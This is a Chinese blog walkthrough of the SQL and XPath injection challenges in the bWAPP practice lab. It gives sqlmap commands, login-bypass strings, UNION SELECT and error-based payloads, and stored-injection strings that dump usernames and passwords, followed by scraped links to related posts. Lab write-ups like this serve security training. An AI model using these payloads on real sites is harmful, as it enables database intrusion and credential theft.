文章目录

  • SQL Injection (GET/Search)
  • SQL Injection (GET/Select)
  • SQL Injection (POST/Search)
  • SQL Injection (POST/Select)
  • SQL Injection (AJAX/JSON/jQuery)
  • SQL Injection (CAPTCHA)
  • SQL Injection (Login Form/Hero)
  • SQL Injection (Login Form/User)
  • SQL Injection (SQLite)
  • SQL Injection - Stored (Blog)
  • SQL Injection - Stored (SQLite)
  • SQL Injection - Stored (User-Agent)
  • SQL Injection - Stored (XML)
  • XML/XPath Injection (Login Form)
  • XML/XPath Injection (Search)

SQL Injection (GET/Search)

这里的题都可以用sqlmap解决
sqlmap详解,可以参考这篇文章

构造sqlmap -u "http://192.168.41.137/sqli_1.php?title=a&action=search" -p title --cookie "security_level=0; PHPSESSID=bsmemp4vk1015lbju2csqchr63"
这里需要加cooike值,靶场需要登录
然后就会自动构造

SQL Injection (GET/Select)


使用order by 尝试可知,能试到7,
使用联合查询试一下,可以,然后就开始查库,查表,查列

SQL Injection (POST/Search)

使用了post传参而已
解决方法和get一样

SQL Injection (POST/Select)


通过抓包可以知道,不仅是post传参,而且title改成了movie,
解决方法一样

SQL Injection (AJAX/JSON/jQuery)

首先解释一下AJAX,Ajax 即“Asynchronous Javascript And XML”(异步 JavaScript 和 XML),通过在后台与服务器进行少量数据交换,Ajax 可以使网页实现异步更新。这意味着可以在不重新加载整个网页的情况下,对网页的某部分进行更新。比如我们使用百度的时候,有个功能叫“搜索预测”,当你输入第一个字的时候,下拉框里就会出现大量可能的关键词候选,这个用的就是ajax技术,而它的返回值一般是json/xml格式的,jQuery中提供实现ajax的方法(因为js很容易捕捉客户端的按键行为)


抓包推断输入的aget传参方法,但
URL为sqli_10-2.php?title=a但是实际浏览器看到的页面是,sqli_10-1.php,观察源代码发现

sqli_10-1.php将参数通过getJSON方法传给sqli_10-2.php,sqli_10-2.php立马执行查询,所以真正的注入点在sqli_10-2.php的title参数
当然,sqlmap能解决

SQL Injection (CAPTCHA)

进入后,直接输点东西,观看url,即可知道点在哪里

SQL Injection (Login Form/Hero)


用sql语句构造绕过,
admin
aa ' or 'a' = 'a
这是我采用的一种写法

用sqlmap的话,
这样构造
sqlmap -u "http://192.168.248.130/bWAPP/sqli_3.php" --data "login=111&password=111&form=submit" --cookie "security_level=0; PHPSESSID=5913f596beeaf73e40495ff8037750a9" -p login
用给定的payload进行post注入

SQL Injection (Login Form/User)


order by 先爆破
当为9的时候

当为10的时候,

因此我们就可以相信他是9
' UNION SELECT 1,2,3,4,5,6,7,8,9#在使用联合查询爆破回显位
但尝试后感觉不行,最后搜索到的大佬是这样写的
' UNION SELECT 1,2,'356a192b7913b04c54574d18c28d46e6395428ab',4,5,6,7,8,9#
原因http://www.mamicode.com/info-detail-2239051.html

SQL Injection (SQLite)

SQLite 简介

SQLite是一个软件库,实现了自给自足的、无服务器的、零配置的、事务性的 SQL
数据库引擎。SQLite是一个增长最快的数据库引擎,这是在普及方面的增长,与它的尺寸大小无关。SQLite 源代码不受版权限制。

sqlmap可以解决

SQL Injection - Stored (Blog)


用sqlmap将post参数加上去

SQL Injection - Stored (SQLite)

meetsec’,’’);
meetsec’,sqlite_version());
meetsec’,(select name from sqlite_master where type=‘table’));
meetsec’,(select login||":"||password from users)) – -
新的独立的注入方法

SQL Injection - Stored (User-Agent)


抓包,修改UA为单引号,出现报错
继续
1' ,(select version()))#
1' ,(select user()))#,这样都可以查询到

SQL Injection - Stored (XML)

构造post参数
<reset><login>bee'+(select 1 and row(1,1)>(select count(*),concat(CONCAT((SELECT @@version)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'</login><secret>bee'+(select 1 and row(1,1)>(select count(*),concat(CONCAT((SELECT @@version)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'</secret></reset>

XML/XPath Injection (Login Form)

XPath其实和sql查询挺像,区别在于sql查询是在数据库中查数据,Xpath是在xml中找信息,既然如此只要熟悉一下Xpath的语法,知道它的特点即可找到对应的注入思路

在 XPath 中,有七种类型的节点:元素、属性、文本、命名空间、处理指令、注释以及文档节点(或称为根节点)。节点之间存在父、子、先辈、后代、同胞关系,以t3stt3st.xml为例
根节点<root1> 、元素节点<user><username><key><hctfadmin>、属性节点name='user1'
<root1><user><htcfadmin>的父节点,同时也是<user><hctfadmin><username><key>的先辈。和是同胞节点。


构造meetset' or '1'='1,成功

XML/XPath Injection (Search)


$xml = simplexml_load_file(“passwords/heroes.xml”);

// XPath search
// $result = xml−>xpath("//hero[genre=′xml->xpath("//hero[genre = 'xml−>xpath("//hero[genre=′genre’]/movie");
$result = xml−>xpath("//hero[contains(genre,′xml->xpath("//hero[contains(genre, 'xml−>xpath("//hero[contains(genre,′genre’)]/movie");

那么我们补全我们需要但他所缺乏的
构造payload')]/password | a[contains(a,'
这样完整的语句就是
$result = $xml->xpath("//hero[contains(genre, '')]/password | a[contains(a,'')]/movie");

$result = $xml->xpath("//hero/password");

bwapp sql部分相关推荐

  1. bWAPP SQL注入篇

    目录 手工注入步骤 0x01.SQL Injection (GET/Search) 0x02.SQL Injection (GET/Select) 0x03.SQL Injection (POST/S ...

  2. bwapp通关(全完结)

    bwapp / A1 - Injection /HTML Injection - Reflected (GET) HTML Injection - Reflected (POST) HTML Inje ...

  3. java 必备面试必备

    1.JDK 和 JRE 有什么区别? JDK(Java Development Kit),Java开发工具包 JRE(Java Runtime Environment),Java运行环境 JDK中包含 ...

  4. pdo mysql ascii_跟bWAPP学WEB安全(PHP代码)--SQL注入的一些技巧

    背景 模拟环境还是 bWAPP,只不过这个bWAPP的SQL注入有点多,一一写意义不大,在这边就利用这个环境来尝试一些SQL注入的技巧.并研究下PHP的防御代码. 普通的bWAPPSQL注入的简单介绍 ...

  5. SQL注入-bWAPP靶场-时间盲注

    时间盲注步骤: 准备攻击:首先,攻击者需要准备攻击工具,如Burp Suite等. 构造查询:攻击者将构造出一个查询请求,该请求的结果可以通过询问数据库的响应时间来推断. 发送请求:攻击者将构造的请求 ...

  6. bwapp靶场笔记 -SQL注入篇

    ​ 启动靶场 crabin@crabin-virtual-machine:~$ docker run -dt -p 9999:80 8be28fba48ec crabin@crabin-virtual ...

  7. bWAPP中SQL注入思路

    bWAPP中SQL注入思路 SQL Injection (GET/Search) 等级:low 首先看看正常搜索的情况,这里我输入了一个字母b,可以看出来他把标题带有b的电影信息全都给搜出来了 在这里 ...

  8. BWAPP之SQL注入通关

    1.SQL injection(GET/search) low 输入单引号直接报错,说明有注入点 直接order by二分法得出主查询字段数为7 直接union注入,测出回显点为2,3,4,5 查数据 ...

  9. linux json 写sql注入,sql注入之AJAX(SQL Injection (AJAX/JSON/jQuery))

    sql注入之AJAX(SQL Injection (AJAX/JSON/jQuery)) 0x1 网上搜下没有关于ajax的sql注入文章,这里简单写一下抛砖引玉. 原理自己百度,这里简单说下: 通过 ...

最新文章

  1. matlab您的安装可能需要执行其他配置步骤_手把手超详细介绍MATLAB+RoadRunner+Unreal Engine自动驾驶联合仿真...
  2. java入门第六天课程_Java基础知识——第六天
  3. uni-app 手指左右滑动实现翻页效果
  4. WordPress主题Ashade2.0摄影展示 图片展示主题
  5. 简单的js网页计算机代码,简易js代码实现计算器操作
  6. 【Flink】Flink checkpoint was declined
  7. 2019年春季第七周 编程总结
  8. oralce9i备份的数据导入到oralce10g中的过程
  9. OCS2007视频会议客户端的部署与应用
  10. 国标1级字库+2级字库,用utf8汉字获取汉字点阵字库
  11. 安川机器人仿真软件安装
  12. 程序员电脑(减少辐射)(¥37)
  13. 关于软删除的一点小建议
  14. 没娱乐、没性生活,中关村程序员要被逼疯了
  15. Spark之spark VS MR
  16. BZOJ 4627回转寿司(值域线段树)
  17. 【Unity入门】25.零基础实现游戏Demo--神鸟大战怪兽
  18. 结构体和类的区别(待考究)
  19. 超好看的博客园皮肤 Sakura~
  20. 三汇无线网关对接VOS

热门文章

  1. 小球落地java_JAVA------------------华为机试----------------求小球落地5次后所经历的路程和第5次反弹的高度...
  2. 产品经理专业面试:结束后的个人总结
  3. base64 web前端js解码与转码
  4. 在美国才知道学英语的误区
  5. 简单 3 步配置 Google Play Billing | 系列分享
  6. innerHTML,innerText是什么意思?怎么使用?
  7. 机器学习算法分类-总览
  8. 【Android】Phoenix OS(凤凰系统)启用root权限
  9. 享存Mobox-由简到繁企业文件管理系统
  10. 计算机视觉硕士课程南京大学,南京大学计算机系研究生课程文库.doc